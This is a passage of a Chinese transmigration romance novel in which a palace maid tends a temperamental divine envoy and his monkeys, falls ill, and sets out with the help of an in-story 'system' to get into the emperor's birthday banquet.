赵玉屿每日送来的衣裳都有主题,星辰日月、动物植物,甚至亭台楼阁、山水园林,似乎这世上万物皆可入画,皆可成衣。
久而久之,子桑也有了好奇心,想看看今日她能做出什么新花样,像是一把小钩子勾住心尖,不痛却微痒,让他对每日的清晨都存了一丝期待。
为首的侍女垂首恭敬道:“今日是以白罴为题,黑白相间,青竹点缀,温文尔雅不失傲竹风骨。”
子桑原本整理衣袖的手微顿,这声音温柔恬静,不似寻常跳跃活泼,带着些许狡黠和小得意,听着便能想到那张娇俏脸上的灿然星眸。
他瞥眼望去,果然,入眼是一张陌生的脸。
“你是谁?”
“回禀神使,小女是内殿侍女宋解环。”
“玉儿呢。”
“今日玉儿姑娘休息,张嬷嬷安排了小女前来侍奉神使大人。”
子桑望向她捧上的衣物:“方才的话是玉儿教你的?”
宋解环坦言:“是。”
子桑不再多言,张臂而立。宋解环为他穿上外衣,竹叶衣纹宽袖立领月白衣衫为底,外套黑色宽肩无袖高领马甲,马甲胸前金绣竹叶飒飒风姿,同色金绣竹叶黑底腰封横在腰间,其上扣着一个环链镂空竹枝纹圆金香囊,两袖叠上黑金护腕,收束出飒爽英姿,一扫往常的奢侈华靡,一派干净利落,宛若世家公子。
赵玉屿琢磨着,华贵衣裳多吸睛,但看多了总会腻烦,因此便出了一套休闲款,换换口味。
款式简单,宋解环伺候着这小祖宗穿衣也不至于太过费事,一不小心惹得他不高兴。
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>果然,子桑对衣裳很是满意。
宋解环又为他束发,这身公子服的发型并不难梳,只要梳个高马尾,插上银玉竹枝发簪便可。
但马尾需高挑才能衬得衣裳更为飒爽,赵玉屿又做了竹叶流苏挑出细辫穿插发间,更显别致雅趣,但这就需要些手艺和心细。
宋解环很少为男子束发,更何况做这些精细造型,虽然已经很是小心,但还是扯到了头发。
看着镜子中子桑逐渐不耐烦的面色,心下愈发紧张,越着急越容易出错,几经波折,好不容易绑好了发辫,却扯下几根发丝。
看着镜中子桑已经阴沉如水的脸色,宋解环连忙跪下告罪。
“求神使大人赎罪!”
“滚。”
“是。”
宋解环匆匆退下,刚撩开帘子出了内殿,忽而身后传来一声短促的哨声,与此同时,一道黄褐色的身影骤然从屋檐上跳下落在她肩头,直直将她压倒在地上。
尖锐的怪叫在耳边响起,猴大五爪锋利撕扯她的头发,将她原本高盘起的发髻撕散,生生揪扯下一团长发。
头皮剧痛,宋解环哀嚎不止,哭声伴着求饶声透过晃动摇曳的珠帘传入子桑耳中。
瞧着地上翻滚颤抖的身影,子桑却没有往日的愉悦和快意。
他想,若是赵玉屿,必定掐着猴大的喉咙破口大骂,铆足劲跟它拼了。
忽而有些不耐烦,又有些无趣。
短促的哨声再次响起,猴大从宋解环身上跳下来,得了胜利品一般斗志昂扬的将沾着血迹的头发举给子桑看,然后挨了一巴掌。
子桑烦闷:“滚。”
猴大:QAQ
宋解环此时不知该如何是好,她拿不准神使的意思,不敢走也不敢求饶,只跪在地上哭。
内殿悠悠传来一道吩咐。
“让玉儿过来。”
听到这话,宋解环顿时如获大赦,哭着磕头应下:“是。”
说罢,逃也似的离开了殿内。
*
“让玉儿去大殿?”
“是。”
宋解环已经哭红了眼,她此时发髻全乱,一团长发被扯掉露出红肿的头皮,只能堪堪用手捂住,手背、脖颈、肩膀和脸上都被猴爪撕扯出道道血痕。
神使大人向来脾性易怒,一点小事便责罚神侍这她是知道的。
之前她也伺候过神使一日,却也没见这般难伺候,如今瞧来,神使的性情越发古怪了,也不知道玉儿平日里是如何在他手下坚持的。
张嬷嬷瞧着眼前哭成泪人的姑娘,叹了口气,心中只怪宋解环不中用。
正巧李嬷嬷领着早膳的队伍从长廊而来,见她们杵在外头,询问道:“快到日头而来,怎么都杵在外头,午膳安排好了吗?”
见到李嬷嬷,张嬷嬷眼前一亮,得了救星般:“李嬷嬷,神使大人让玉儿姑娘前去内殿,可,可玉儿姑娘昨日受了寒如今躺在床上起不来,这可如何是好。”
李嬷嬷瞧着发髻凌乱,泪流桃腮的宋解环也见怪不怪,面色沉稳道:“你先回去养伤吧,神使大人那边我去解释。”
“是。”
宋解环行了一礼,顿时头也不回的朝外跑去,仿佛身后有鬼在追。
18. 第 18 章
李嬷嬷领着送膳队伍缓缓走进大殿,一进殿内,就见一道修长的人影正靠在小榻上,手中捏着一个陶瓷小物百无聊赖的把玩。
那陶瓷做成了白罴的模样,黑白相间的身子呈圆鼓鼓的三角形,像个白乎乎的红豆粽子一样,双眼弯弯,憨态可掬,怀中抱着一根翠玉绿竹,乍一看灵动又娇俏。
李嬷嬷取出银碗筷,语气平静稳重:“神使大人,可是方才的女侍让您不快?”
子桑指尖点了点手办小巧的黑鼻子,悠悠怠懒道:“废物,留着作甚。”
李嬷嬷静笑道:“这满宫的神侍瞧来瞧去,只有玉儿姑娘最为勤快机灵。”
子桑听到这话勾了勾嘴角,望着手办并不多言。
李嬷嬷叹了口气:“可惜玉儿姑娘病了,怕是有些日子都起不来。”
把玩手办的手微顿,子桑眉梢轻挑,扭头看去:“病了?”
李嬷嬷点头回道:“是啊,玉儿姑娘本就是女娇娥,身体娇弱些,前些日子内殿众多事宜都是玉儿姑娘一个人操持,劳心劳累,又连日熬夜研制糕点,设计摆件和衣物首饰,便是铁打的人日积月累也难免伤神累身。”
子桑目光稍冷:“要你们何用。”
李嬷嬷见他似是动怒,连忙跪下,垂首解释道:“奴婢知罪,只是寻常事宜奴婢们尚且能操持,但那些新鲜菜式、衣物和新奇的玩物儿却只有玉儿姑娘能想得出做得出,奴婢们想分担也无从下手。正是因为玉儿姑娘病了,所以奴婢便想找个人同她分担些日常的起居事宜,让玉儿姑娘能少些疲累,尽快休整身体。”
子桑听到这话轻嗤一声,也不知信没信,只不再多言,神色淡淡吩咐道:“知道了,下去吧。”
“是。”
李嬷嬷松了口气,刚出了殿内没多远,就见张嬷嬷远远站着探头探脑的朝这边张望。
见李嬷嬷出来,张嬷嬷连忙快步迎上前问道:“神使大人如何?”
李嬷嬷声音平淡:“无事了。”
张嬷嬷顿时松了口气,拍着胸口连连讨好笑道:“还好还好,还是李嬷嬷您有法子,否则宋姑娘还不知道要遭什么罪,神使大人向来是最听您话的。有您在呀,咱们这些人便有了主心骨了!”
她本是存了谄媚恭维的意思,但话还未说完就被李嬷嬷冷言打断:“神使大人仙尊之躯,凡事自有决断,张嬷嬷,注意言行。”
李嬷嬷望向她,平静的目光似是看穿了她的把戏:“念在你我多年相识,平日里有些事儿我睁一只眼闭一只眼也就过去了,但你要时刻谨记,咱们是神使大人的奴婢,神使大人的事情不可有丝毫懈怠取巧。神使的脾性你也是知道的,这次不追究只是因为神使懒得追究,不代表神使什么都不知道。再有下次,我也帮不了你。”
张嬷嬷喜爱敛财,这她也是知晓的,只是这些年都是些背地里不大不小的钻营取巧,并未耍到明面上,无伤大雅。
但如今她居然敢将心思用到神使身上,真是不自量力。神使最厌恶的就是被人欺骗和利用,若是神使真追究起来,不仅宋解环没得救,张嬷嬷也必定要被扒掉一层皮。
张嬷嬷听着她的告诫顿时惊了一身冷汗,心虚又恐慌,连连讨笑道:“是,是,李嬷嬷您放心,老奴以后再也不敢了,再也不敢了。”
“去干活吧,让玉儿姑娘早些养好身子,日后玉儿姑娘只需陪在神使大人身边贴身侍奉,内殿其他琐事便交给宋姑娘操持。”
张嬷嬷听到这吩咐,感激道:“多谢李嬷嬷,我知道了。”
如此一来,既不惹怒神使,自己在宋家那边也有了交代,到底是李嬷嬷帮衬了她。
*
离水池内,枯荷摇曳似干墨挥笔成画。
子桑坐在亭中,靠在美人背上望着池中嬉戏的白鹤,心思却空泛无趣,玉笛悠悠响起,吹了曲闲淡的小调。
鱼群跃出水面,白鹤引颈高唳,随着笛声翩翩而动。猴大猴二猴三三只俏猴接连扯着岸边的柳树条荡入池中,一猴骑着一只白鹤,举起木枝为剑在水面低飞,相互怪叫比划,恍若骑胜将军。
忽而,笛声陡然飘颤,瞬间走了调,鱼儿一惊骤然摔落水中,渐起的水花激得猴叫三叠,狺狺可闻。
猴大从荷叶中探出头,摸了把脸上的水渍,踩着白鹤一连三跳跃入亭中,望着子桑挠了挠脑袋似是不解。
子桑惫懒闲靠,此时面色沉郁,心烦意乱。猴大见状,两只黑豆眼咕噜一滑,尾巴勾栏,倒挂在美人靠上后仰,从水面拔出一根荷叶翻身而上,咧开嘴讨好的递给子桑。
子桑瞧着那衰败的干枯荷叶,更烦了,将荷叶一把倒扣在猴大的脑袋上,不大不小成了个帽子。
他也不知道自己为何烦闷,只是方才吹笛时无意瞧见桌上玉石坊新送来的玉石小雕像,便一时间乱了心神。
那是只猫儿,很常见的狸花猫,尾巴勾翘,屁股圆润,正蹬起身子似是在追扑蝴蝶,白乎乎胖墩墩的两爪扑伸,圆眼微弯,眼角用墨笔勾出飞扬的杏眼,煞是可爱,不知怎么得,他便想到了赵玉屿。
越看越觉得像,同样的杏眼,同样的狡黠讨好,又带着些自得和骄傲。
他一时走神,便吹乱了曲调。
或许是习惯了每日总有个人在他耳边叽叽喳喳的聒噪,吵闹却并不烦躁,一日不瞧见心中总觉得空落落的。
子桑泄了口气,再次吹响玉笛。
不多会儿仙鹤从天外展翅飞来,起伏间收翅落在亭外。
子桑轻轻一跃跳到仙鹤背上,猴大见状连忙抓住他的衣摆也一跃而上抱住他的大腿,头上的荷叶晃悠悠飘落池中,噗嗤一声,是青蛙被惊吓,鼓着腮帮跳到池中的乍响。
微风荡漾水纹,丢下一句话:“去炼丹阁。”
*
与此同时,侍女苑内,宋解环细细为赵玉屿喂完了药,替她拢了拢被子柔声问道:“玉儿,你如今感觉如何了?”
赵玉屿缓缓躺下,面色苍白咳了几声虚弱道:“中午出了身汗,好些了,就是头还有些疼。”
“那我给你揉揉。”
“不用不用......”赵玉屿又咳了几声,有些不好意思,“宋姐姐,麻烦你照顾我了。”
她此时身上还发热,烧得头晕眼花,眼眶有些发疼,躺下才注意到宋解环与寻常似乎有些不同。
原以为她戴着面纱是为了防止自己的病气传染,可此时见她眼眶略红,眼中的红血丝更是多得吓人,穿着也比平常要多些,连脖子都用丝巾罩起,有些奇怪,哑着嗓子问道。
“宋姐姐,你这是怎么了?”
听她问起,宋解环原本就红的双眼更红成了兔子,忍不住哭了起来,哭哭啼啼抽噎道。
“玉儿,你,你可得赶快好起来啊,我实在,实在是不想侍奉神使大人了。”
赵玉屿听着奇怪:“怎么了?”
虽然子桑平日里挑剔苛刻,但宋解环性子谨小慎微,曾今也做过内殿侍女,对日常事宜都很清楚。自己也将照顾子桑的注意事项都告诉她了,不应当有
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什么大问题啊。
她一问,宋解环更是控制不住,哭得眼泪哗哗:“玉儿,你平日都是如何过的?那神使大人瞧着比以前更难伺候了。我今日替他梳头,不小心扯了他一根头发,结果他就让神猴扯了我一团头发,还抓伤了我的脸。”
宋解环扯下面巾:“你看。”
赵玉屿一瞧,脸上三道抓痕,必定是猴大那泼猴干得,她连忙关切道:“怎么这么严重,涂药了吗?”
宋解环重新戴上面纱,点了点头摸着发髻委屈道:“涂了,大夫说许是得留下些疤痕,这倒不打紧,可我的头发如今缺了一块,我,我都不知道该如何是好,身体发肤受之父母啊......”
古人对于头发极其看重,更何况是女子。赵玉屿作为秃头少女自然知道其中怨念,猴大撕头发的手段她是见过的,妈的简直令人发指。
赵玉屿连忙安慰她:“没关系没关系,发髻遮一下我瞧着也看不出来什么差别。你别难过,头发还能再长的。”
原本宋解环还好些,可如今赵玉屿一安慰,她倒越来越委屈伤心。
“可是神使大人的脾性实在太过古怪,我着实害怕......玉儿,我现在一想到神使还有神猴我就害怕。当初付楚袅肯定是没有侍奉好神使才会被降罪责罚,现在都不知道是死是活。玉儿,我们以后可怎么办啊。”
她本就被猴大扮鬼吓了一次,经过今早这一遭如今更是有心理阴影。
宋解环到底也只是十六岁的姑娘,自小养尊处优,温室里的花儿心理素质没那么硬,如今又是被恐吓又是被虐打,身边也没有个贴心人,难免害怕。
赵玉屿耐着心安慰:“你别怕,神使大人虽然性情是古怪些,但也不是不讲道理的人,只要咱们平日做事谨慎些不出错,就不会有事的。”
“可是都说伴君如伴虎,我瞧那神使大人比老虎还可怕,就算一日两日没事,但长此以往呢,常在河边走哪有不沾鞋的。今日不过是稍有差池就能要人半条命,这,这哪里像是神使,分明是......玉儿,咱们可怎么办啊?”
话音未落,关上的房门被骤然打开,随之传来一道轻飘阴冷的声音。
“你若是想死,本尊现在就成全你。”
听到这声音,屋内两人脸色皆是一变,宋解环魂都吓飞了,抖着身子扑跪在地:“神,神使大人。”
子桑踱步走进屋里,拉开一把椅子坐下,垂眸望向脚边瑟瑟发抖的宋解环缓缓而问。
“你刚才说,我不像神使。那你说说看,我像什么?”
他手指曲起,指关节敲着桌面发出清脆悦响,声音轻悠节奏分明,恍若唱乐:“判官、阎王、勾魂使者还是妖魔鬼怪?”
他的语气上扬,像是寻常唠家常,说出的话却字字要人性命。
一旁跟着大摇大摆进来的猴大耀武扬威的龇嘴,亮出利爪。
宋解环骤然头皮发麻面色惨白,跪在地上求饶:“神,神使大人恕罪,小女一时,一时口不择言冲撞了神使。”
子桑轻笑一声,似是听到了什么趣事。
他刚到门口,就听到这侍女在这添油加醋的说自己坏话。
果真是当面一套背后一套的小人,今早就该杀了她。
子桑神色悠悠,他也不着急,今日有的是时间,这女人既然怕他,那就像猫碾玩耗子般慢慢磨死她。
他端起桌上的茶壶刚想倒杯茶喝,却发现水是凉了,茶叶也是隔夜的。
放下茶杯,心情更不好了。
19. 第 19 章
赵玉屿明显感到他的不爽,浑身压抑的气息让整个屋子都几近窒息。
看着趴在地上神色慌张欲哭无泪的宋解环,赵玉屿强撑起身子,咳了咳挤出一个笑容。
“神使大人误会了,她是说神使仙人威严,气质超群,只坐在那儿便通身气派,与我等凡人不同,哪里是神使,分明就是活脱脱的神君临世。”
子桑冷笑一声:“你倒是花言巧语惯了,黑的也能说成白的。”
赵玉屿刚想说话,胸膛略紧,发出一阵爆咳,面色红涨说不出话来,被子大半落了地,连她也险些掉下床。
宋解环见状连忙扶住她,眼眶通红,满脸愧疚。
非议神使乃是大罪,宋解环觉得今日自个儿怕是得交代在这儿了,说不定还连累了赵玉屿。
她一想到两个人要双双殒命,眼泪止不住的往下流,瞧着甚是可怜。
然而子桑丝毫没有怜香惜玉的意思,只坐在那儿戏谑的望着她,反而是赵玉屿可怜美人落泪,一把抓住她的手腕,拇指悄然按了按。
宋解环微怔,泪眼婆娑的望向她,就见赵玉屿已经哑着嗓子朝子桑道。
“神使大人,您身处高位,万人之上,一念之间便可定人生死,又容貌绝世,可通百语,驭百兽,若小女说,不论是上神仙尊,还是阎王判官,亦或是妖魔鬼怪见了您都得唤爷爷,此等风范如何不是神仙下凡呢。”
此话一出,子桑原本冷峻的面色一松,忍不住笑出了声:“你便是病了嘴也刁得很,什么话都敢说。”
虽这般言语,但他下巴略昂,眉梢微扬,显然很认同赵玉屿的夸赞。
“那哪能啊,小女对神使大人所言一向是真心使然,发自肺腑......咳咳咳,您瞧,这肺腑都快咳出来了,丝毫掺不得假的。”
宋解环瞧着赵玉屿重病之余还能面不改色、游刃有余、极其娴熟的拍着震耳欲聋的响亮马屁,当真几句话就将原本面色阴冷、刻薄刁钻的神使哄得服服帖帖,不禁瞠目结舌。
子桑见这不长眼的东西还在这碍眼,又有些烦:“滚。”
“是!”
宋解环听到这话如蒙大赦,连忙起身,避开狐假虎威的猴大垂首恭敬退出。
离了房间,她有些不可置信的望向天边暧昧云霭中的夕阳,恍恍惚惚恍若云中,忍不住掐了掐自己的脸,掐得生疼才意识到方才发生的一切都不是梦。
居然就这么轻易的逃过一劫。
她心中虽然有些担心赵玉屿,可瞧着赵玉屿方才那游刃有余的模样,应当无甚大碍。
宋解环又回首瞧了眼敞开的屋门,只觉得里面一股凉风袭来,阴冷寒森得很,不禁打了个寒颤,搓了搓胳膊赶忙离开。
屋内一片寂静,子桑徐徐起身,踱步走到床榻前,一撩衣袍坐在床榻边,垂首瞧着面色苍白如纸的姑娘,虽然嘴皮子依旧了得,但明显蔫蔫的,没什么精神气。
那双平日里狡黠明亮的眼睛似乎也失去了跳跃的光芒,黯淡许多。
“我脾性古怪?”
赵玉屿:“......”
他方才在外面果然听到了。
赵玉屿此时身上又有些发热,方才那一顿输出耗费了不少力气,此时意识有些不清醒,强撑着道:“是有些古怪,那仙人都是古怪的嘛,不然如何与我等凡人不同。”
子桑轻哼:“你瞧着倒是很维护那个侍女。”
赵玉屿躺在床上,意识渐渐混沌,胡言乱语一通:“她一个未成年小姑娘也不容易,你长这么好看,同她计较什么。以后我走了,还不得她照顾你。”
子桑原先听她夸自己好看面上还有些笑意,却听她之后所言,原本明亮的神色渐渐暗沉。
“你说什么?”
他按住赵玉屿的胳膊,皱起眉头,“你要去哪?”
胳膊被按得生疼,疼痛让赵玉屿短暂的清醒,强睁着眼睛望向他:“什么?”
“你方才说你走了,你要去哪?”
“我......”
见一时说漏了嘴,赵玉屿用为数不多的意识找补,哀戚道:“神使大人,我觉得我怕是熬不过这一遭了......日后,日后怕是不能再侍奉您左右了。”
她红了眼,原本想挤出些眼泪,但这一会儿脑袋都快被烧干了,凑不出一滴眼泪。
掌下滚烫,子桑伸手摸了摸她的额头,烫得惊人,顿时眉头蹙起:“不就受了点风寒吗,说得生离死别似的。”
他从怀中掏出两个瓶子。从绿色瓶中倒出一颗黑色的药丸,又拔开瘦长的小白瓶的瓶盖,一股清凉的水汽顿时灌入鼻腔,原本咳得撕心裂肺的胸腔似乎都好了些。
“吃了。”
赵玉屿双眼迷离:“这是什么?”
“我炼的金丹,配上静心水喝了便好。”
金丹?静心水?
赵玉屿想到古代炼制的丹药大多是朱砂重金属之类掺杂在一块炼制而成,吃了死得更快。
还有这静心水,听起来就不太靠谱。
她怕死,只是感冒发烧而已,过几天就好了,这丹药要是吃下去要她一条命,她还得再用稀有道具活命,得不偿失啊。
赵玉屿心中坚定拒绝,强撑起身子:“神使大人赐的金丹,小女,小女要给它供起来!”
子桑:“......”
子桑一时语噎,看着赵玉屿发着高烧挣扎起床要将金丹供在案上,他难得心生一种无力之感。
懒得同她废话,子桑直接将她按回床上。
赵玉屿还企图挣扎,子桑一只手已经按着她的胳膊,一条腿压在她腿上将她控制在身下,把药丸塞入她口中,一股脑将静心水倒了进去。
赵玉屿:“我*#@%*&!”我丢你老母!尔等庶子竟敢谋害朕!
“玉儿姑娘,这风这么大,你的身子还没好,怎么不关上门啊,哎呦我的天爷呀!”
张嬷嬷笑盈盈地带了根上好的人参想送给赵玉屿补身子,一只脚刚迈进门,就见子桑正压在赵玉屿身上“为非作歹”,吓得慌忙退出门去,顺带将房门关好,惊魂未定地拍了拍胸口。
这,这玉儿身体还未痊愈,神使大人便这般急不可耐吗?
看来神使大人当真是稀罕玉儿。
张嬷嬷只觉得自己从鬼门关外溜了一圈,李嬷嬷说得对,以后可千万千万不能在玉儿姑娘身上使点子。
否则神使怪罪下来,她就算有几条命也保不住啊!
*
“咳咳咳!”
水灌得太快,赵玉屿呛到气管,趴在床边连连咳嗽。
怎么办,她不会重金属中毒死了吧。
等子桑走了以后吐出来还来不来得及?
【温馨提示,经系统检测,宿主吃下的药丸和水不存在毒素,宿主请放心。】
脑海中传来系统冰凉凉此刻却格外温暖人心的系统提示音,赵玉屿紧张的心情顿时松懈下来,连带着觉得精神都好了许多,脸上的热意似乎也退了下去。
她顺了顺气:“多谢神使大人,神使大人所赐圣丹果然非同一般,小女觉得身子都轻快了许多。”
子桑见她有了精神气,满意一笑,下了床抖落衣摆的褶皱:“这可是金丹圣水,瑶山仙药,
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百病皆除,皇帝老儿求得几次我都没给他,便宜你了。”
赵玉屿见是个宝贝,眼前一亮,上杆子爬:“那,那神使大人能再赐给小女一颗备用吗?”
子桑瞥了她一眼:“美得你。明日早晨若是见不着你,连丹带水给我吐出来。”
*
不知是否是子桑的丹药当真起了作用,赵玉屿一夜好梦,发了一身的汗,原本起伏不断的高烧果然退了下去,只觉得身体舒爽轻巧,一早便爬了起来。
反倒是宋解环,昨日几经恐吓,窝在房间里死活不愿意再去内殿。
她哭道:“玉儿,这内殿侍女的活真不是寻常人能做的,我嘴笨脑袋又没你灵光,老虎身上撸胡须这种事当真做不来。我还是喜欢刺绣作画抄经书的日子,清闲又自在。”
她不想去,张嬷嬷也强求不得,正好应了李嬷嬷的话,让她做些内殿的寻常琐事,各司其职,也算是同宋家有了交代。
一大早,赵玉屿按例进内殿给子桑梳洗。
撩开珠帘就见子桑站在窗边,手中捏着一张金色的帖子,窗外白鹤一闪而过。
见她来了,子桑将帖子随意扔在桌上,站在立镜前展开双臂。
赵玉屿瞧见帖子上的字,似是请帖。
【触发主线任务“雀飞笼中”宫宴重逢章,请宿主阻止男女主重逢。完成任务,可获得奖励云浮桑一株。】
宫宴重逢?
赵玉屿想起原著里,男主休弃女主后,女主伤心欲绝后奋发图强,凭借医术悬壶济世成为百姓爱戴的神医,在一次黄水决堤时救治受伤百姓,结识了抚灾的巡使裴小侯爷,两人共同赈灾,互生情愫,结为夫妻。
原本痴情专一、尊重支持女主事业的男二上位,多好的结局。
结果正是一次宫宴时,已经成为小侯夫人的女主随夫君入宫,被已经恢复太子身份的男主在御花园撞见,从此狗太子阴暗爬行,将尚有身孕的女主囚禁在宫中强取豪夺。裴小侯爷愤然逼宫,最终落得凄然身死。
妈的,夺妻之仇不共戴天,要是她,她也得跟太子拼命。
看来,就是这次宫宴了。
赵玉屿收敛神色,边为子桑穿衣边笑道。
“神使大人,您养的白鹤还会传信呢,好厉害。”
子桑一副她没见过世面的模样:“传个信而已。”
赵玉屿噘了噘嘴,站在他身前为他束上腰带:“我自然没有神使大人见多识广,侍奉大人这么长时间,也还是第一次见到白鹤传信嘛,以前只知晓鸽子能传信。”
子桑瞧了瞧镜子中的修长身影:“除了皇帝老儿,平日里也无人会传信来,你没见过也正常。”
“那这么说,这是圣上的信了,难怪是金色的帖子。”
子桑鼻腔里嗯了一声,提到皇帝有些不耐烦:“老皇帝生辰,都送了三张请帖过来,也不嫌烦。”
赵玉屿好奇:“圣上生辰,神使大人不去吗?”
“去那做什么,瞧着一群满腹诡计的丑人阿谀奉承,浪费时间。”
“哦。”
子桑坐在椅子上,见她语气满是遗憾,扭头瞥了她一眼:“你瞧着倒是挺失望。”
赵玉屿为他梳头,挑起一抹柔顺浓密的长发道:“也不是,只是从前家里入宫赴宴,赵大人从来只带夫人和妹妹去。家里的下人暗地都笑话我,说我虽然是长女,却活得连妹妹的侍女都不如。侍女好歹还进宫见过世面,我却像个乡巴佬。”
子桑眉梢一挑:“你没揍他们?”
赵玉屿:“......”
她看起来有这么暴力吗!
20. 第 20 章
赵玉屿神色黯淡,语气低落,似乎是回忆起幼时的凄苦而伤感:“我虽然听着生气,但是他们说得也没错。我自生出来就没了母亲,俗话说没娘的孩子像根草,主母霸道,爹爹又不管不顾,谁路过都能踩一脚,好在如今小女得神使大人怜悯庇护,不再是以前那个被人随意欺辱的小可怜了。”
“......”
看着她哀戚的神色,子桑身上一麻,怪肉麻的。
小可怜,呵,她连猴大都敢打,那股彪悍的劲儿,哪里像是任人欺凌的人。
子桑一眼看破她的心思,斜眼瞅她:“你想去宫宴。”
赵玉屿脸上的哀戚之色转瞬即逝,换上一副狡黠讨好的模样嘿嘿一笑,吐了吐舌头:“本来想着神使大人若是去的话,小女就厚着脸皮求大人带小女一道去,狐假虎威,扬眉吐气,威风威风。”
子桑轻笑,含讥带讽道:“你倒是坦诚,什么都敢说。”
赵玉屿理所当然,为他仔细戴上发冠调正:“神使大人就是小女的再生父母,小女为何要对神使大人有所隐瞒。人生短短几十年,自然要怎么快活怎么来,小女本也不是什么温柔娴淑的大家闺秀,也不敢在神使大人面前装贤良。”
子桑喜欢她的坦诚,瞧了瞧镜子中装扮一新的模样勾唇笑道:“不错。”
赵玉屿见他夸奖,笑眯眯道:“神使大人喜欢就好。”
她斟酌用语,“神使大人,小女知晓您不问世事,只是若神使大人向地上皇传意的话,能否让小女前去呀。”
她本也没指望子桑因为她的一番话就改变主意前去参加宫宴。但即便是神使,皇帝的面子还是要给的,老皇帝六十大寿,传个话赐个福在所难免,她一开始的铺垫就只是为了能当个传话人,以神使献礼的名义顺利成章进宫去。
只要能进宫,一切自然好办。
子桑却瞧着铜镜中的身段并未搭话。见他不理会,赵玉屿抿了抿嘴也不好再多言。
时间飞逝,日头高升又斜落枝头,很快便沉入屋檐。
眼瞧着宫宴马上就开始了,赵玉屿心中有些着急。子桑今日悠闲得很,在摘星楼看了一天的书,此时刚用完了晚膳,正坐在大殿空荡的地上里逗猴大它们玩。
他将一只绣球朝空中抛起,绣球上挂着的响铃清脆作响,猴大顿时荡着绳子飞来截住半空中的绣球,又将球丢给猴二,猴二接住球刚想将绣球投入高高挂在悬梁上的网兜,结果被猴三转瞬间抢走了绣球。
子桑胳膊肘抵着地面,仰身瞧着头顶房梁上几只猴头荡来荡去嬉闹怒骂争抢绣球。
最后,几只猴子球也不玩了,扭打在一块儿,你扯我尾巴,我撕你脸,绣球在打闹中不知被哪个猴子当做武器砸出,飞落在进屋送水果的赵玉屿怀中。
赵玉屿瞧着落在怀里的绣球,又瞧了瞧看起来百无聊赖的子桑,正想着要不要再努力一把,争取进宫,就听子桑忽然伸了伸懒腰,起身穿上鞋子道:“去把我的红绒球银羽披风拿来。”
赵玉屿眼眸一亮:“是,神使大人是要出去吗?”
子桑抬眸,黑如点漆的眼眸带着一丝玩味:“狐假虎威,自然得有排场。”
*
夜幕降临,帝都的繁华才刚刚拉开序幕,从摘星楼顶望去,万家灯火如星汉璀璨,而在这片橙黄的星光之中,有一条星河穿透帝都,笔挺朝北,一直延伸到尽头的皇城。
那是帝都中央的长街,此时长街华灯初上,盏盏橙亮的宫灯挑挂在街边两侧的长杆上和皇城城楼的屋檐之下,一盏接着一盏,点亮起层层宫门,迎接着八方来宾。
宫门外,各路马车鱼贯水泄一般驶向皇宫,马车上的灯笼聚集在一处,像是星河中飘移的萤虫。
何附子撩起马车窗帘,望向漆黑天幕中灯火通明、辉煌威严的皇宫,心中没由来有些紧张。
坐在一旁的丈夫察觉到她的不安,以为她是第一次进宫有些惶恐,柔声安慰:“今日是圣上大寿,排场自然大些。宫中不比江湖自在,规矩是要多些,不过我已同几位同僚兄弟打过招呼了,等到了宫宴我虽不在你身边,但你到时候只需跟在忠勇侯夫人身边便可,不会有人为难你的。”
何附子听到丈夫贴心的安排和柔声的宽慰遂也放下心来,点点头,温婉一笑,歪头靠在他肩头。
她同夫君相识于豫州,一路携手查案、救治灾民、几经生死,自然相信夫君。
下了马车,何附子随裴小侯爷穿过层层宫门,随着人群来到宫宴殿前,早已等候多时的忠勇侯见了他们迎上前调笑:“小侯爷新婚燕尔,容光焕发啊。”
老忠勇侯前年病逝,如今的忠勇侯也不过二十又六,比裴小侯爷只大了一岁,两人自小一块长大,感情深厚。
忠勇侯夫人同何附子也是差不多大的年纪,见了她便欢喜地拉着她的手说话,直夸她漂亮温婉,难怪能将裴小侯爷这泼猴治得服服帖帖,可真是了不得。
她的话直爽又带着调侃,夸得何附子面色通红,心中却更放松些。
殿内侍奉的太监和宫女来请,四人便进殿分席而坐。
裴小侯爷和忠勇侯有爵位在身,两人入了主殿,何附子同忠勇侯夫人身为女眷便一道朝偏殿去。
宫宴向来是朝臣和女眷分席而坐。女眷坐于偏殿,和主殿席位间以屏风隔断视线。
宴会大部分人都已到场,闲聊家常,等待圣上出席。
何附子有些拘谨,嫁给裴小侯爷后,小侯爷随她心意,并没有要求她参加贵妇间的小聚,只同往常一样,每日种植药草,治病救人。
侯爷和夫人也都是宽宏之人,对她并未有苛刻要求,甚至因她曾于瘟疫中救过裴小侯爷而多加感激,将她当亲生女儿般看待。
她平日里随性惯了,今日还是头一次同这么多贵妇相聚,席间谈论的皆是她未曾听过的八卦和话题,有些无趣又尴尬。
她抬头望去,无意间见大殿的高顶与其他宫殿似乎有所不同,中间一轮圆井空空,恰巧明月落入圆缺,抬头仰望,可见星穹。
见她一直望向殿顶,忠勇侯夫人吃了杯茶笑着解释道:“这是祈神井。圣上信道,专门做这祈神井祈求神灵降临。十年前,护国神使便是从这祈神井中驭鹤而来,如从天降。这井平日都是封上的,只重大节日宴会才会启用。往年陛下生庆都会开启,只是这十年间神使再没来过,每年只遣白鹤送福。”
何附子听到这话甚是好奇:“我早年在民间四处游历时便经常听人说及抚鹤神使,这天底下当真有能驭鹤飞行的仙人吗?”
“这是自然,十年前我仍是闺阁女子时,承蒙圣恩同父亲母亲一道前来参加祈福大典,亲眼见到抚鹤神使从天而降,有白鹤数只环绕大殿而飞。神使虽年幼,却已是仙人之姿,不可亵渎,这殿里在座许多人都瞧见的。”
忠勇侯夫人信誓旦旦,“虽然神使多年未来参加寿宴,但每年皆会差遣仙鹤献寿,待会你便能瞧见了。”
众人闲聊间,忽而听到殿外一声尖锐高呼:“圣上驾到——”
一时间,在会众人皆跪地迎接。
何附子在府中也曾被嬷嬷教授宫中礼仪,跟随众人一道跪拜。
一双蟠龙戏珠纹长靴踏过高高门槛,玄色长袍庄严肃穆,金带别腰,金穗龙纹玉吊腰间。
白面儒须,皮肤细腻,气色红润饱满,一双浓眉下,凤眼悬鼻厚唇大耳,眼神平和稳重、略带疲惫,是常言的贵人长相,然而眼角褶皱耷拉,还是看得出岁月沧桑。
这便是盛世之君,德仁帝。
何附子自小便听闻德仁帝的勤政之名。
德仁帝二十岁继位,在位至今四十年,早年废寝忘食,夙兴夜寐,至国泰民安,路不拾遗,夜不闭户。然而德仁帝四十岁时大病一场,险些丧命,自此性情
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大变,痴迷神鬼之道,终日修仙荒废朝政,祈求长生不老之术。
好在几十年勤政爱民,王朝根基深厚,仍然是盛世之势。
“众爱卿平身吧。”
德仁帝虚抬了抬手,朝高台之上走去。
“谢圣上。”
